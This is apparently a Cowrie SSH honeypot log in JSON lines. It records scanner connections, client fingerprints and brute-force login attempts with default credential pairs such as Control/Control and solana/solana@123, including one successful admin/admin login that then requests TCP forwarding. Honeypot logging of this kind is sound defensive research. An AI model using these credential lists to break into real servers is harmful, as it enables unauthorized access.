{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:06.438983Z","src_ip":"159.203.92.129","session":"ccbc4010ce90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:06.443692Z","src_ip":"159.203.92.129","session":"ccbc4010ce90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Control","password":"Control","message":"login attempt [Control/Control] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:06.457931Z","src_ip":"159.203.92.129","session":"ccbc4010ce90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:07.465563Z","src_ip":"159.203.92.129","session":"ccbc4010ce90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":36086,"dst_ip":"159.203.135.109","dst_port":22,"session":"57ac310e7f40","protocol":"ssh","message":"New connection: 80.94.92.186:36086 (159.203.135.109:22) [session: 57ac310e7f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:15.941798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:15.984019Z","src_ip":"80.94.92.186","session":"57ac310e7f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:16.141258Z","src_ip":"80.94.92.186","session":"57ac310e7f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana@123","message":"login attempt [solana/solana@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:16.809998Z","src_ip":"80.94.92.186","session":"57ac310e7f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:18.053484Z","src_ip":"80.94.92.186","session":"57ac310e7f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51968,"dst_ip":"159.203.135.109","dst_port":22,"session":"36efa2f7f874","protocol":"ssh","message":"New connection: 159.203.92.129:51968 (159.203.135.109:22) [session: 36efa2f7f874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:48.514529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:48.519303Z","src_ip":"159.203.92.129","session":"36efa2f7f874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:48.524195Z","src_ip":"159.203.92.129","session":"36efa2f7f874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Control","password":"Control123","message":"login attempt [Control/Control123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:48.537785Z","src_ip":"159.203.92.129","session":"36efa2f7f874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:49.544833Z","src_ip":"159.203.92.129","session":"36efa2f7f874","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53676,"dst_ip":"159.203.135.109","dst_port":22,"session":"7246420b3cf4","protocol":"ssh","message":"New connection: 159.203.92.129:53676 (159.203.135.109:22) [session: 7246420b3cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:52:30.408848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:52:30.416373Z","src_ip":"159.203.92.129","session":"7246420b3cf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:52:30.422231Z","src_ip":"159.203.92.129","session":"7246420b3cf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DATASET_PUBLIC","password":"123","message":"login attempt [DATASET_PUBLIC/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:52:30.588066Z","src_ip":"159.203.92.129","session":"7246420b3cf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:52:31.594385Z","src_ip":"159.203.92.129","session":"7246420b3cf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57426,"dst_ip":"159.203.135.109","dst_port":22,"session":"453891542a80","protocol":"ssh","message":"New connection: 159.203.92.129:57426 (159.203.135.109:22) [session: 453891542a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:12.803262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:12.807905Z","src_ip":"159.203.92.129","session":"453891542a80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:12.812799Z","src_ip":"159.203.92.129","session":"453891542a80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DATASET_PUBLIC","password":"123456","message":"login attempt [DATASET_PUBLIC/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:12.825008Z","src_ip":"159.203.92.129","session":"453891542a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:13.832420Z","src_ip":"159.203.92.129","session":"453891542a80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":43970,"dst_ip":"159.203.135.109","dst_port":22,"session":"e152093105f3","protocol":"ssh","message":"New connection: 2.57.122.238:43970 (159.203.135.109:22) [session: e152093105f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:25.671708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:25.675803Z","src_ip":"2.57.122.238","session":"e152093105f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:25.775313Z","src_ip":"2.57.122.238","session":"e152093105f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:26.079294Z","src_ip":"2.57.122.238","session":"e152093105f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:27.181324Z","src_ip":"2.57.122.238","session":"e152093105f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54186,"dst_ip":"10.17.0.5","dst_port":22,"session":"0017cdabdca1","protocol":"ssh","message":"New connection: 87.251.64.176:54186 (10.17.0.5:22) [session: 0017cdabdca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:42.803981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:42.808891Z","src_ip":"87.251.64.176","session":"0017cdabdca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:42.905144Z","src_ip":"87.251.64.176","session":"0017cdabdca1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:43.193557Z","src_ip":"87.251.64.176","session":"0017cdabdca1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:43.292104Z","session":"0017cdabdca1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:43.390589Z","src_ip":"87.251.64.176","session":"0017cdabdca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:43.490277Z","src_ip":"87.251.64.176","session":"0017cdabdca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54998,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9a97a93e231","protocol":"ssh","message":"New connection: 159.203.92.129:54998 (159.203.135.109:22) [session: e9a97a93e231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:55.086028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:53:55.090705Z","src_ip":"159.203.92.129","session":"e9a97a93e231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],